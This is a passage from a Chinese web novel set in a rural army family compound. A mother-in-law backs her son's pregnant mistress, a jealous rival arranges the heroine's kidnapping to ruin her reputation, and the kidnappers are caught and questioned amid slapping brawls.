“老二媳妇厉害啥?她还不如她大嫂,她大嫂还生两闺女,她只生了一个闺女。她想要绝了俺老李家的后,别说大山,就是俺也绝对容不下她。”
大山娘骂了一番儿媳妇,
“还有那宝珠,她就是个孩子,都被她娘养娇了。在咱农村,像她那么大的闺女,哪个不下地打猪草羊草,那么大一个闺女子,啥活也不会干,大人的事,哪能轮到她管?真是反了天了。”
李菊花嘴上说着害怕,不愿意跟着大山娘走。
但实际上,她迈着小瘦腿,跟着大山娘走得欢着呢。
心里想着,还是夏千燕给她出的这个主意好。
让她给李大山娘打电话,叫来李大山娘,让大山娘带着她,一起去找钱大俊。不用她出面,让她婆婆出面和钱大俊斗。
到时候,看大山娘是要儿媳妇孙女,还是要孙子?
嘿嘿,李菊花得意地想,夏千燕心眼子可真多。一听她说李大山家情况,就给她出了这么个好点子。
她在医院偷偷给大山娘打了电话,这不,大山娘这么快就跑来了。
还拿着这么多东西。
要知道,大山家和她家是一个村的,都住在李家庄。她们村子穷得很,是远近闻名的穷棒子村。
要不是因为穷,她爹也不能一头牛把她许给了张治国一个烂脸。
要不是因为穷,大山也不能入赘给钱大俊家当了上门女婿。
“这包裹里全是俺给俺孙做的棉袄棉裤,还有包被子。还有这些年大山往家里寄的钱,俺全存着。俺说了,这些东西和钱,两儿媳妇,谁生儿子,就都给谁。”
大山娘眼神热切地一边走,一边看李菊花肚子,
“菊花你怀上了俺老李家的孙,这些东西和钱,就都是你的。”
“婶子,你可别这样说,等会到了你家,大俊嫂子知道了,能吃了俺。”
“俺还没死,这个家还得俺当。俺儿大山是入赘了她钱家。可是,当初说好了,生的孩子都姓俺李家的姓。再说了,钱家老两口早**,如今,俺是婆婆,她是儿媳妇,谁还能挡得住俺当这个家。”
大山娘一下火车,就直接奔了医院。按李菊花给的地址,直接找到了住院部,见到了李菊花。
自那天以后,张治国和他娘就再没来过医院,这几天,李菊花和她闺女大花住在医院,一直没走。
大山娘一见到李菊花,看到她高高隆起的肚子,一问真是儿子,八个月了,马上就快生了。
立马欢喜地不知说啥好。
把用手帕包着的钱,拿出来五十块钱放自己身上,剩下的全塞到李菊花口袋里。
“婶子,这些钱是你的,俺不能要。”
李菊花看着这一卷子钱,那真是两眼放光。
心想,果然夏千燕说的对,这女人不要脸,真会过得好。
这不,她给大山娘打个电话,说她怀了大山的孩子,检查过了是个儿,快生了。
大山娘立马跑来了,来了就给她这么多钱。
虽然还没细数有多少,李菊花看见露出来的有不少十块的大团结。
少说,也得几百块。
她这一辈子,也没拿过这么多钱。
“叫啥嫂子,以后就跟着大山叫娘。”
大山娘嘴一裂,笑了,露出黑乎乎,缺了两大门牙的嘴,
“你瞧瞧,俺就说咱娘两有缘分。这不,俺少两大门牙,你也少两大门牙。老辈子说的好,不是一家人,不进一家门。菊花啊,你和俺孙就是该进俺老李家的门。”
然后不由分说,就拉着李菊花出院,直奔钱大俊家来了。
李大山正一个人在家,钱大俊和他生气,这几天带着闺女去她舅舅家住了。
这几天,在供销社钱主任都不给李大山个好脸子。
钱主任既不处理,也不让钱大俊回来。只是冷着李大山。
李大山知道,钱主任这是要让他服软,要把态度摆正,要亲口在钱家亲人面前,保证他和李菊花断了,才会解决后面的事。
可他不能啊!
李菊花肚子里怀的,可是他的亲生儿子,是他们老李家唯一的男孩啊!
“李菊花,你个不要脸的,敢往我家来?”
钱大俊听供销社里的人说,她婆婆带着李菊花
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住她家了。
立马骑着洋车子回家了。
一进院门,果然看到李菊花坐在院里,她婆婆帮着收拾屋子,李大山忙着杀鸡。
这架势,不知道内情的人看了,还以为她们才是一家子呢。
钱大俊这心里的火,噌一下就上来了,压都压不住。
洋车子一停,冲上去,就要挠李菊花的脸。
啪!
李菊花坐那里动都没动,大山娘冲过来,就给了钱大俊一个大耳刮子。
“你一个只会生闺女的**,俺不让大山和你离婚,就对起你了。你还想打俺孙,美死你了吧。”
大山娘像个黑铁塔,挡得瘦小的李菊花严严实实。
钱大俊被这一巴掌打傻眼了。
“娘,你打我,你为了个外人打我?娘,我才是你儿媳妇!”
大山娘嘴一撇,
“啥外人,菊花肚子里怀的可是大山的种,是俺老李家唯一的男孙。要说外人,你才是外人。”
钱大俊都要疯了,以前她仗着是城里户口,吃商品粮的。
虽然她和大嫂一样都只生了闺女,但大嫂在家里当牛做马,还经常被男人打,被婆婆骂。
她就不一样,只是偶尔过年,才跟着大山回一趟老家。
平时,也没和婆婆相处过。偶尔回老家一趟,婆婆也是好吃好喝地供给她。
这些年,她和李大山年年回家,拿回那么多东西和钱,婆婆虽然嫌弃她只生了一个闺女,可看在东西的份上,到底也没给她说过一句重话。
如今,不但骂她,竟然还打了她。
钱大俊哪里能受得了。
“娘,你说我是外人。你可知道,这房子是我父母分的,你要真看我不顺眼,我和大山离婚,也是你们走。”
“你看看你能的吧?一个女人家家的,还房子?这房子不管以前是谁的,你和俺儿结婚了,这房子就是俺儿的。还让俺走,要走,也是你走。”
大山娘可不惯着钱大俊,她早就看这个儿媳妇不顺眼了。
要不是看她是吃商品粮的,能年年往家拿钱和东西,就她连个儿都生不出来,早就让大山和她离婚了。
“娘,你这是不论理的话。你不要忘了,别说这房子是我父母留下给我的。就是李大山,他的工作也是我家人帮着找的。”
第103章 一窝子不要脸的货
不提这茬子还好,一提这事,大山娘就一脸气,
“你家帮着俺儿找工作咋了?那是当年俺儿入赘你家的条件。就你这长相,要不是你当年答应给俺儿找工作,俺家能答应让大山入赘到你家来住?”
大山娘一句话说完了,意思就是钱家给她儿找工作,弄房子,那都是当年他儿入赘钱家的条件。
“如今咱说的是生不生儿,一码归一码。你不生儿,不能看着俺老李家绝后了。”
“又不是我自己不能生儿,还有大嫂来,她也只生了两闺女,没生儿。”
“所以,俺让大河和她离婚了,过几天,就把前庄秦寡妇娶进门。”
“娘?你咋让俺哥离婚了?”
李大山本来只听着他娘和他媳妇吵,这一听,还掺合上他大嫂了。他娘还撺掇着他大哥离婚了?
他大嫂虽然只生了两闺女,但和他媳妇钱大俊可不一样。
在家里这么多年,任劳任怨,把娘和大哥照顾得可好了。
“再好有啥用,你媳妇不生儿,你大嫂也不生儿,总不能让咱老李家绝后了。秦寡妇屁股大,前面走了三家,家家都给生了个儿,这和你大哥看对眼了,咱娶家里,保准还能再生个儿。”
大山娘看着李菊花的肚子眼神里都能淌出蜜来,
“这不,菊花再给你生个儿。这样,咱老李家就能儿孙满堂。在庄上,俺看看,还有谁再敢说俺家是绝户头。”
“娘,那你这是铁了心了。要让李大山跟李菊花过,让他甩了我和宝珠?”
钱大俊这会子也不气了,她算是看明白了。
今天,她婆婆和李大山都是铁了心,要李菊花肚子里的孩子。
“你看看你这孩子说的啥傻话,你是大山名媒正娶的媳妇,俺咋能让大山甩了你。只要你别那么小心眼,能容得下菊花和她肚子里的孩子,咋都是一家人,啥话不好说。”
大山娘能让大儿离婚,但不能轻易让小儿离婚。
毕竟大儿媳妇身子弱,连工分都挣不满。
小儿媳妇可不一样了,那是当售货员,拿国家工资的人。
钱大俊完全傻眼了。
她婆婆说的每一句话,她都听得见。可放一起,她咋听不懂了呢?
“娘,你这是啥意思?”
大山娘看着李菊花的肚子,
“大俊啊,你看看,菊花这要生了个儿。咱家不也多了一口人吗。”
李菊花眼里含了泪,弱弱地跟着说了一句,
“大俊嫂子,你放心。俺不是来给你抢大山哥的。俺只是想着,俺肚子里的孩子,是大山的。咋说也是宝珠她弟弟,嫂子,你说是不是?”
钱大俊一口老血堵在嗓子眼里,吐不出来,也咽不下去。
“是的,媳妇,你也听到了。菊花她不和你争,也不你抢。俺娘这也来了,俺哥能和俺嫂子离婚,俺可不想和你离婚。不管咋说,咱娘说的对,菊花肚子里也是咱家一口人。你也不能狠心就让她打了,是不是?”
咱家一口人?
钱大俊看着这三个人,跟看傻子一样,
男人和个野女人生的野种,啥时候也能是她家一口人了?
啊呸!
一窝子不要脸的货!
“娘?你这是啥意思?感情,你们整个老李家干脆都不要脸了,想让你儿娶两媳妇啊?”
“你看看你说的,俺啥时候说要俺儿娶两媳妇了。人家菊花可不像你,咱现在说的事,是菊花肚子里的孩子,不是啥媳妇不媳妇。”
“照你这么说,就是李大山他不和我离婚,他还得养着李菊花和她肚子里的孩子,你们是这个意思不?”
大山娘黑脸绽开一朵大菊花,
“是的,大俊,你看看你,到底是城里人,这不,一下子就想明白了。菊花肚子里的孩子生下来,就是大山的儿,你是大山媳妇,你说说这孩子岂不是也得叫你个娘?”
钱大俊都不敢相信她听到了啥。
“李菊花,你听到了吗?感情,你来我家,是要我认下你肚子里的孩子。你生了孩子,还回去跟着张治国过?”
“嫂子,你也知道,俺那边还有三闺女。俺要走了,俺男人能打死三孩子。俺舍不得。俺在你这儿住两月,等孩子生下来,俺还回去。”
李菊花脸上笑眯眯,心里却有些苦,心想,俺也想和大山过。
可大山娘这会子又想要孙子,又舍不得钱大俊挣的钱。
俺还能咋办?
等孩子生下来再说呗!
“对,就是这个理。大俊,你看看,还是人家菊花会当娘。哪个孩子都是自个儿生的,哪个也舍不下。”
见过不要脸的,没见过这么不要脸的。
钱大俊看看李菊花,又
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看看她婆婆,再转头看向李大山,
“李大山,你娘这是和李菊花商量好了,就是让她来咱家生孩子坐月子的。等孩子生下来,她再回去,她继续当你相好的,我就帮你两养儿子,你也是这样想的,是不是?”
“你看看你,媳妇,你说话那么难听干啥?”
李大山一点也不脸红,
“这不菊花肚子里怀了俺的儿子,俺不能不要,也不能忍心丢下你和宝珠。这样不是大家都好吗?”
钱大俊冷笑一声,
“你们这是把我当啥了?你们这样做,还能有脸在家属院里逛不?”
“你管人家说啥来,谁都是关起门来过自己的日子。谁家屁股上没有屎?宝珠咋说都是个闺女,以后她出嫁了,你和大山还指望啥?这有个儿子在身边,是你养大的,他就和你亲。老了,你就有靠不是?”
大山娘觉得,她都把道理掰开了,揉碎了给儿媳妇说了。
她咋还软硬不吃呢。
“你们就不怕张治国找上门?”
钱大俊又转向李菊花,
“还有你,你就不怕你男和婆婆找上门?就不怕妇女主任找上你?”
“张治国,他要敢找上门,我自会治他,这是我们男人之间的事,你们女人不要管。”
李大山信誓旦旦,看得大山娘黑脸放光,
“就是,要是治国娘敢找上门,俺有一万句话等着她来,俺还怕她不来呢?”
李菊花弱弱地说,
“俺不敢回去,怕俺婆婆骂俺,怕俺男人打俺。大山哥和婶子都说了,能帮俺搞定俺婆婆和俺男人。大俊嫂子,你就让俺在你家好好生下孩子,出了月子,俺就回去了。保准不和你抢大山哥。”
“你们这样做,就不怕人家背地里说你们闲话,戳你们脊梁骨?”
李菊花看着钱大俊,这一回倒是不弱了,
“俺以前挨男人打时,也没见哪个邻居帮俺挡着。她们说啥,俺只当听不见。至于妇女主任来找俺,俺和大山是亲戚,俺婶子来了,见俺在婆家受气,接俺在亲戚家里过几天,妇女主任能说啥?”
“你们,你们也太欺负人了。”
钱大俊彻底没话说了,指着三人,手指头颤抖着,说不下去了,转身推起洋车子走了。
她要去找她舅,让她舅来管管这一家子不要脸的货。
第104章 我们就是人贩子
家属院西边,连着河沟子,是一片菜地。
张秋月正在菜地里忙活。
她想着,圆圆来了得种菜,她得赶紧把种圆圆家的菜地给收拾出来。
“同志,哪块是霍战北的菜地?”
张秋月正忙活着,听到声音,一抬头,看到一个瘦高小伙子,
“就是这块。你问这干啥?你是霍团长的兵?他派你来干活的吗?”
张秋月心想,霍团长可真疼媳妇,种菜都不舍得媳妇下地,还派人来帮忙。
高岭直接下地,哗啦一阵乱薅,吓得张秋月赶紧按住她手,
“小伙子,你谁啊,咋的?霍团长让你来干活,你有气是不是?咋这样乱薅呢?好不容易这菜苗才活。”
“这是菜苗?不是草?”
高岭有点尴尬。
他们一起从镇上回来,楚行止带着霍战北去处理伤口。她一个人无聊,也不想回去看她爸的那张脸。
见了她,她爸一定会问她,
“闺女,你和那臭小子谈的咋样了?他说哪天来见见我?”
她咋回答啊?
难不成直接说,
“爸,我没戏了。人家霍战北都打过结婚证了,人家媳妇还怀了娃了?”
真是太丢脸了。
高岭除了觉得丢脸,心里还有一些乱。
她一个军人,总不能去破坏人家的婚姻,抢人家的男人吧?
可让她放弃霍战北,她心里又烧得慌。
她转悠了一会,就转悠到军队家属分的菜地这边来了。
想着,以后要当霍战北媳妇,先学学种菜吧!
没想到,竟然连草和菜苗都不分,把人家菜苗当草薅了。
“你这小伙子真是,这地虽说是霍团长家的
,可是他一直都没种,这些菜苗都是我种的。”
“那真不好意思,嫂子,我再帮你栽回去。”
高岭赶紧拿起?头,挖了一排沟,又把刚才她薅的苗按进去,搂着土埋上。
“你这样栽回去,不浇水,一棵也活不成。”
张秋月有些抱不住火。
“那我去帮你提两桶水来。”
高岭提起地上的大水桶,就往沟边跑。
沟的那边是一片林子。
“你慢点,先把场面弄惨烈一点。弄好了,我喊一嗓子,你先跑,拉着板车,你跑不快。别让人抓住了。”
高岭才刚到水沟边,就听到林子里动静。
放下水桶,她潜过水沟,摸进林子里。
一眼就看到了两个男人在摆弄一个妇女,林子边放着一架板车。
难道这是哪个村里处理问题妇女的?
高岭知道,如今村里有些地方封建地很,私底下处理犯了家法的妇女,比如有相好的。被抓住都会暗地里处理。
眼看着那个瘦猴男人,就要解开妇女的衣裳扣子。
这样的事,碰到她眼皮子底下,她必须得管。
高岭几个起跃,蹿过去,一脚踹飞了瘦猴男人。
赵树生怔了一下,吓得转身就跑。高岭哪能让他跑掉,兔子一样追过去了。
动静惊动了旁边菜地里的人,大家都围过来。
张秋月第一个跑过来,扶起地上的妇女,拉掉蒙面的褂子,一惊,
“圆圆妹子?你咋了?”
她赶紧扯掉苏圆圆嘴里的布,又解掉了她身上的绳子。
苏圆圆的眼前一亮,忙闭了下眼,再睁开,看到张秋月,
再看看旁边围过来的众人。
“哎哟,这不是霍团长家的吗?”
“今天不是听说霍团长他们去县上领结婚证去了吗?新媳妇咋在这里?”
“这是咋回事?那两男人是干啥的?他们这是强——”
苏圆圆没等那几个女人说完,立马打断了她们的话。
“抓坏人。我回家路上遇到她们。他们是人贩子,刚才说要把我卖到深山里去给人家当媳妇。”
苏圆圆可不会让这些女人乱猜想。
更不会让那两男人先开口,不然,他们要是说出啥难听的话,她这名声在家属院可就臭了。
所以,夏千燕这条计是真心毒。
不管成不成功,她的名声都可能烂大街。
“哎哟,你咋遇到人贩子了?霍团长呢?你们不是一路的吗?就你自己吗?他们还抓了哪些人?”
张秋月一边心疼,一边给了苏圆圆一个眼神。
“在镇上分开的,我和赵美艳在一起的。就在赵家庄后面小树林,我和赵美艳被他们抓住的。也不知道美艳被他们弄哪去了?”
苏圆圆接收到张秋月的暗示,知道秋月嫂子这是在让她说,人贩子不是抓她自己。
“我不是人贩子,我——”
二孬子刚要说啥,高岭拎着赵树生走过来,一看那妇女居然是苏
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圆圆,
瞪大眼睛,直接把赵树生像死狗一样丢地上,冲上去,一拳头打在二孬子脸上,把他牙都打掉了一颗,二孬子吐着血,话被打断了。
“还有赵美艳,问问他们,把赵美艳抓哪去了?”
苏圆圆一路上被绑在板车上,听着两男人说话。
她早听出来了,这两男人都是赵家庄的。
只是,她万没想到,其中一个男人竟然是赵美艳的哥。
“说,你们这些人贩子,把人弄哪去了?”
高岭一听,还有一个姑娘,捏着拳头又要打二孬子。
二孬子吓得抱头,
“没,就一个,我们就是喝醉了,走路上,看——”
他刚要说他们就是喝醉了,走路上看到苏圆圆一个人落单,才动了心,想把她拖过来……
这是黄大牙子交代好他们的。说万一不成,也得把脏水泼这女人身上。
“我们是人贩子,我们就是想把人抓住,卖到山里去。”
不料想,地上一动不动的赵树生,突然拉住二孬子的腿,冲着大家交代了。
“我们哪是人贩子,我们——”
二孬子不明白,为啥赵树生突然变卦,
这样说,不是要害死他们吗?
“我们是人贩子,我们是在路上见到两姑娘,我们只抓住这一个,另外一个跑了。”
赵树生的话才落,人们生气了。
“人贩子,打死他们!”
一听人贩子,人们群情激愤,涌上来,抓住两人,一顿暴打。
把两人直接打得头破血流。
二孬子实在想不明白,为啥胆小怕事的赵树生,突然承认他们是人贩子。
其实他哪里知道,赵树生是听到苏圆圆一直说另一个姑娘是他妹妹赵美艳。
这时,赵树生也认出了他们抓的人,竟然是在县城,和秀芳吵起来的那个姑娘。
赵树生此时心里拔凉拔凉的,这姑娘可是军婚,人家男人还是个团长。
赵树生:俺的个娘哎,俺完了!
”别打了,**了。“
二孬子大声哭嚎求饶,赵树生自己也被打得一脸血,心里却很解气,这时候,他恨不得和大家一起打死二孬子。
绑了个军属,下场还能好?
赵树生躺在地上,凭由众人打,心如死灰。
二孬子,你这一次可坑死俺了!
第105章 你叫谁黑嫂子
“你们倒是胆子不小,拐卖妇女竟然拐到我们军区家属头上了?”
纠察队办公室,王队长猛一拍桌子,怒斥被捆得五花大绑送过来的两人。
“我们没有,我们不是拐子。”
二孬子自从被押进纠察队大院,一路上看到士兵训练的场景,早就吓得尿了裤子。哪里再敢胡说。如今他说的话,比真金还真。
“是黄大牙,供销社黄大牙给我钱,让我找人蹲守,绑了这女人,说要弄成被糟蹋的现场,丢到菜地里,让所有人去看。”
二孬子竹筒倒豆子,把啥都说了,就连今天和黄大牙在一起喝酒,吃的啥菜,喝了多少酒,都说得一清二楚。
“我在树林子边上等赵美艳,被人一下子用褂子蒙上头,绑了装在板车里,被拉着来到这里,直接把我扛菜地里去了。”
进了纠察队,二孬子都说出真相了,苏圆圆自然不会再说这两人是人贩子了。
“我也不认识这两人,那个高个子放风,这个瘦猴就要解我扣子。还没碰到我,这时候高连长就冲过来,打倒了他。”
苏圆圆在还没碰到我这句话上说得很重。
夏千燕让这两人绑了她,就是要毁她名誉的。
她可不能让这货得了逞。
“对,天地良心。我真没碰她。”
先洗清白自己不是人贩子,二孬子立马想再洗清,他们也没有真碰苏圆圆。
说到底,他也只是拿黄大牙子的钱,帮着他绑了这个女人用板车拉到菜地里罢了。
其他的事,啥也没做啊。
“从头到尾,我也不知道她叫啥名,是干啥的。我只是拿了黄大牙子的钱,听他的话,把这女人从路边绑了,放板车上拉到菜地放下来罢了。我们真啥也没干。”
旁边一路跟来看热闹的军嫂们议论开了,
“这黄大牙子是谁啊?他咋给人钱让人绑了霍团长家的?”
“可不是吗?难不成霍团长家的得罪了黄大牙子?”
“你们不知道吗?黄大牙子是供销社司机,他难不成和霍团长家的有仇?”
“能有啥仇?人家霍团长家的才来咱家属院不到一个月,根本不可能和黄大牙子有仇。”
“难不成黄大牙子也是替别人办事的?”
“这还不好猜吗?你算算,霍团长家来这些天,都得罪过谁?”
旁边几个军嫂唰一下转头,看向站在人群里看热闹的夏千燕。
夏千燕小脸一下子白了,狠狠瞪了那几个军嫂一眼。
“你们别看热闹不嫌事大,我是和苏圆圆不对付。可我也才来家属院几天,苏圆圆不认识几个人,我也不认识几个人。”
“还有李菊花,霍团长家的和李菊花不是有仇吗?”
“你得了吧?说这话也不用脑子想想。李菊花被打得差一点流产,还在医院住着呢。哪有心思找人去绑霍团长家的?”
“你还不知道吧?李菊花出院了。”
“谁说俺儿媳妇出院了?俺都没去接,她出的啥院?”
在人群里看热闹的治国娘,一听竟然扯到自家儿媳妇身上,不乐意了,
“你们可不要瞎说,没听见那个瘦猴子说是拿人钱办事吗?俺家儿媳妇腰里连个买鸡蛋的钱都没有,还能花钱找人绑了霍团长家媳妇?少冤枉俺家!”
哈哈哈,
婶子大娘们笑开了,不得不说,治国娘这句话真说到女人们心里了。
谁不知道,家属院里的军嫂有两个最穷的,一个是刘招娣,另一个就是李菊花,都是天天腰里冰凉的主。
“治国娘,你还别说,我今天真见菊花出院了。身边陪着个农村老太太。”
“哎哟,治国娘,你还是快点回家看看吧?说不定,是你们总欺负菊花,她打电话,让她娘来了。你亲娘来闹你家来了!”
“真的?你们真看到俺儿媳妇被接回来了?”
治国娘一想到,亲家那尿性:自家狗拉泡屎追二里地都得拾家里;人家鸡从她家门口过都得薅根**!
不管了,俺滴娘哎,要是这会子在她家坐着,还不得把她家明眼能看见的东西,都得扒拉走。
治国娘再也没有心情看热闹了,转身颠着小脚走得飞快。瘦小的身子几乎要飘起来。
不知道的人看了,哪能想到她是回家,还以为她这是要升仙去呢?
“安静,别吵了,这是纠察队,审案子呢!”
这群女人吵
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得王队长脑仁疼,但他也不敢说重话撵。
毕竟这些女人,不是连长媳妇,就是团长娘,得罪了哪个,都够他缠的。
王队长心烦,转身给了二孬子一脚,
“闭嘴,嚎丧呢你!”
二孬子吓得立马闭嘴,缩成一团。
王队长盯着一直低头不语的另一个嫌犯,
“你,叫赵树生是吧?你竟然敢说谎话,混淆调查,你有几个脑袋够摘的?”
王队长跺了赵树生一脚。
“你说你是人贩子。那你是不是赵二孬子的下家,想从赵二孬子手里把人买了,然后再拐卖到山里去?”
“哥,你可真糊涂啊!”
赵美艳从小树林里解好手,出来没看到苏圆圆,觉得奇怪,就一路骑着洋车子,追到家属院。
谁知道,到了家属院只看到郑好娘,一问才知道,苏圆圆还没回来。
两人一说,都吓了一跳。
赶紧结伴来找霍团长,路上就撞上了一群人押着拐子去纠察大队。
赵美艳一路上帮着张秋月扶着苏圆圆,听张秋月说了大概情况,她还骂了一路子拐子。
谁知道,到纠察队办公室,赵美艳才看到这拐子竟然是他们村的二流子赵二孬子。
更让她想不到的是,一直低着头,躲着她目光的另一个拐子,被人抓住头发抬起头时,她才看到,竟然是她哥赵树生。
赵美艳觉得,天都塌了。
她哥赵树生竟然当拐子,绑了圆圆嫂子要卖到大山里去。
这是啥事啊?
“美,美艳,我不知道她是军属。”
赵美艳气急,
“她就不是军属,你也不能拐人卖啊。哥,你是糊涂了吗?过几天你就要结婚了,你这是疯了吗?”
张秋月也没有想到,这绑圆圆妹子的两人里面,竟然有一个人是赵美艳的亲哥。
张秋月气愤地瞪着赵树生,
“幸好,你在菜地歇的时候,这小伙子身手快,耳朵灵,抓住了你们,才没让你们把坏事做成。”
高岭?
“这位黑嫂子,我不是小伙子,我是个姑娘。”
张秋月?
“你叫谁黑嫂子?你才黑来,你比我还黑来。”
第106章 抢霍团长的三个女人都来了
“啊,不,你刚才说啥?”
张秋月张大嘴巴,仔细看了高岭一眼,又一眼,越看越觉得这张脸熟悉。
这竟然是个姑娘。
脸这么黑,人这么高,还这么凶,她到底在哪里见过来?
张秋月还没想起来,夏千燕的声音传出来,
“你们说啥拿人钱,帮人办事。你们就是怕受罚,胡乱攀咬人。”
夏千燕站在人群里插话,
“你们咋不说,就是你们在路上,看到人家一个女人落了单,你们两喝多了,想欺负人家。还扯啥拐子不拐子的。”
夏千燕一直在心里盘算着。
她让李大山找人,这货还打包票说,他会在外面找人,一定不会有问题。
结果,竟然找了自己同事黄大牙子。
黄大牙子自己不干,竟然又花钱找了这两人。
苏圆圆这会子毫发无伤,倒是这两个没用的货,纠察队还没怎么审,自己就吓得啥都招了。
这扯出黄大牙子来,万一黄大牙子再扯出李大山。
夏千燕不敢想下去了。
事都到这样了,她无论如何,都得让人知道,苏圆圆被两大男人绑了,她的清白一定没了。
“你们两在菜地里没干成坏事,不代表你们一路上没干坏事。”
苏圆圆冷笑,看吧,都不用她说,这幕后黑手自己就跳出来了。
这是下定决心,今天一定要把这盆子屎泼我头上了是吧?
张秋月急眼了,瞪了夏千燕一眼,
“你不说话,没有人把你当哑巴。你这人嘴咋那么贱。”
啪!啪!啪!
一连三个嘴巴子。
打得夏千燕原地晃了几圈,才站住,整个人眼前冒星星,小脸哗一下肿了。
“你——你——”
她你了半天,小手指向高岭。
她万没想到,打她的不是苏圆圆,也不是苏圆圆的死忠党张秋月。
竟然是苏圆圆的情敌高岭。
“啊——”
夏千燕惨叫一声,猛地后退,伸出的小手指瞬间红肿起来。
“你啥你,我最烦人家用手指着我。还用小手指,你看不起谁来?”
“高岭,你是不是疯了?”
夏千燕又后退一步,
“你竟然为了苏圆圆打我,你有没有脑子,苏圆圆抢走了你的霍战北!”
高岭?
你的霍战北?
哗!
所有人都转头,齐刷刷看向高岭。
刚才大家都只顾得看热闹了,目光都盯在人贩子身上。
就是高岭和张秋月那几对话,大家刚开始也没在意。
现在经过夏千燕一说,大家才认出来,娘唉,这个又高又瘦又黑留着寸头的小兵,竟然是高**的独生闺女——尖刀连连长高岭。
大家不由想起,去年礼堂,高岭当着众人的面,上台捧着花向霍团长表白。
结果被霍团长当场拒绝的事。
嫂子们热烈的目光从三人身上扫过。
苏圆圆,霍团长刚娶的新媳妇!
夏千燕,霍团长海市的前对象!
高岭,霍团长的战友兼疯狂追求者!
哎哟,娘唉!抢霍团长的三个女人都来了!
这以后可得有热闹看了!
“夏千燕,我是不是警告过你了。我喜欢霍战北那是我的事。你休想用你那肮脏的心思来揣测我,更不要想用你那一肚子坏水来找我合伙。”
苏圆圆抬头,眼睛亮亮地盯着高岭,
“高岭,你人真好。你放心,你喜欢霍战北,只管大胆地去追,只要你能追到,他就是你的。”
哗!
嫂子们都乐了,纷纷咬耳朵。
这霍团长牛气冲冲,高连长胆大包天,咋连霍团长新娶的胖媳妇,也这么独特啊!
居然欢迎人家高连长爬她家墙?
哈哈哈——
“苏圆圆,你——”
夏千燕生气,瞪完苏圆圆,又瞪向高岭,
“高岭,你——”
“你啥你,再瞪,住不信,我把你眼睛挖掉?你一个臭资本家小姐,还敢挑拨我们军属内部矛盾。真是显着你了。”
苏圆圆看向高岭的目光,更是甜蜜得拉丝了。
啧啧,
穿书这么多天,她再一次强烈感受到这个年代的**色彩。
不愧是**闺女,这思想觉悟就是高。
啥儿女情长,私人恩怨,在**立场面前,全都不算事!
张秋月狐疑地看着夏千燕,
“夏千燕,你说你咋总把话题往一边扯,听你这话里的意思,你恨不得这两拐子灾害了圆圆,霍团长就能和圆圆离婚,娶了你咋的?”
张秋月又看了一眼赵二孬和赵树生,
“这两人,不会是你雇的吧?”
夏千
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燕瞳孔巨震,
“张秋月,你少血口喷人,我又不认识这两人,我咋能雇他?”
夏千燕转头赶紧冲着王队长做了个委屈的表情,娇声说,
“王队长——你看看张秋月和高岭,她们一个打我脸,一个冤枉我,你们纠察队就不管管?”
王队长?
张秋月是家属院脾气最暴的军嫂,就凭她说几句话,我就管她,她还不得立马炸了,把吐沫吐我脸上啊?
高岭?这可是**闺女,让我管?我管啥?人家才刚见义勇为,抓了两拐子,救了军属。
“她都打我脸了,王队长——”
夏千燕声音更软,小表情更委屈了,
“她是**闺女,就能随便**家脸了?”
啪——
苏圆圆使劲轮圆了胳膊,
啪——
啪——
一连三声响,她狠狠打了夏千燕三个耳光。
“俺不是**闺女,俺是个乡下村姑,俺来打。”
“苏圆圆,看我不——”
”再作妖,我来打!“
张秋月伸着蒲扇一样的大手过来了。
夏千燕的尖叫突然停住,捂着脸,连连后退,转身扒住王队长胳膊,
”王——王——队长,她们打我。“
咳咳——
王队长没再看夏千燕,心里想,娘的,这海市来的资本家大小姐就是不一样。和我们娶的那些乡下婆娘完全不一样。
真娇、真香、真贱,真勾人!
不过,王队长可不会蠢到,当着这么多军嫂的面,和一个资本家小姐眉来眼去。
他咳嗽几声,没有接夏千燕的话,也没有凶她,只是转过头,凶狠地又踢了赵树生一脚,
“说,接着说,你为啥拐霍团长家的,想卖哪去?”
“哥,你是不是因为要娶嫂子,缺钱,你才会?”
赵美艳觉得她真相了,这会子,她都不知该说她哥啥好了。
“哥,你说话啊。你说这到底是咋回事啊?”
赵美艳急得冒火,她心里隐约有一个不好的想法。
她哥和她嫂子今天去县上扯结婚证,回来她哥就跟着二孬子干了这种事。
以前在村上,她哥可是从来都不和二孬子这种人玩的。
一定与嫂子有关?
“我们不是拐子,我们不是拐子。赵树生你要想死,你别拉着我。”
第107章 供出了李大山
“哥,你不是拐子,你为啥要承认自己是拐子,你倒是说话啊?”
赵美艳气得踢了她哥几脚。
“黄大牙子为啥让你两个来绑我?”
苏圆圆看着赵树生,
“我又不认识你说的黄大牙子,我和他没冤没仇的。你说他让你来绑我,总得有原因吧?”
“我也不知道啥原因,他请我喝酒,给了我钱,就让我去绑你。我一个人弄不了,找了赵树生,黄大牙子许了他一台收音机。”
赵美艳听到这里,头嗡得一下,她还有啥不明白的。看吧,还是被她猜对了,毕竟这些年,只要是有关她嫂子的事,他哥就会被狗吃了脑子,秒变弱智了。
她嫂子赵秀芳上学的时候,就喜欢喝个歌,这收音机一定是她今天在县上问哥要的。
收音机别说镇上供销社,县上供销社也断货。要买,除非去省城。
这时两个纠察队员走了进来,王队长看他们身后无人,脸一沉,
“人咋没带来?”
“黄大牙子人不在供销社。被派去省里进货了。钱主任说后天下午才能回来。”
王队长沉吟了一下,又踢了赵二孬一脚,
“赵二孬,你说是黄大牙子给你钱,让你干的。现在黄大牙子不在,谁能给你证明?要是找不到人,你就是主犯。”
赵美艳知道,镇供销社一周去省里进一次货,这趟,该轮到黄大牙子了。
王队长又踢了赵树生一脚,
“再不老实交代,给你定罪拐子,这就送你去坐牢。”
一听坐牢,赵树生脸色白了,
“我刚才说错了,我们不是拐子。我们两就是帮黄大牙子绑了她。”
“你刚才还说自己是拐子,这会又说拿人家钱办事,你这人嘴里,没一句实话。”
张秋月直接上前扇了赵二孬一个耳光,要不是赵美艳在面前不好意思,她都想直接扇赵树生。
高岭在一边听王队长审人,都急了。
审个人咋磨磨叽叽的,这啥时候能审好,
高岭上前一脚踩在赵二孬手上,
“你不会说,你们在路上晃,看到她长得漂亮就想那啥吧?她胖成那样,还揣着崽,你们不会真那么畜生吧?”
苏圆圆睁大眼睛看着高岭,这脑回路真与众不同,这是帮她呢,还是想害她呢?
她都不知道,是该感谢高岭,还是该气她。
瞧瞧这说的是啥话,想说她不漂亮,还是个丑孕妇,就直说罢,说那么婉转干啥呀?
可人家刚才救了她,她不好呛人家。
“我说的全是实话,我就是给黄大牙子干事的,拿了他的钱,我不是拐子,也不是想占她便宜。”
赵二孬子感觉他的手骨都要断了,这是个啥女人啊,太可怕了。
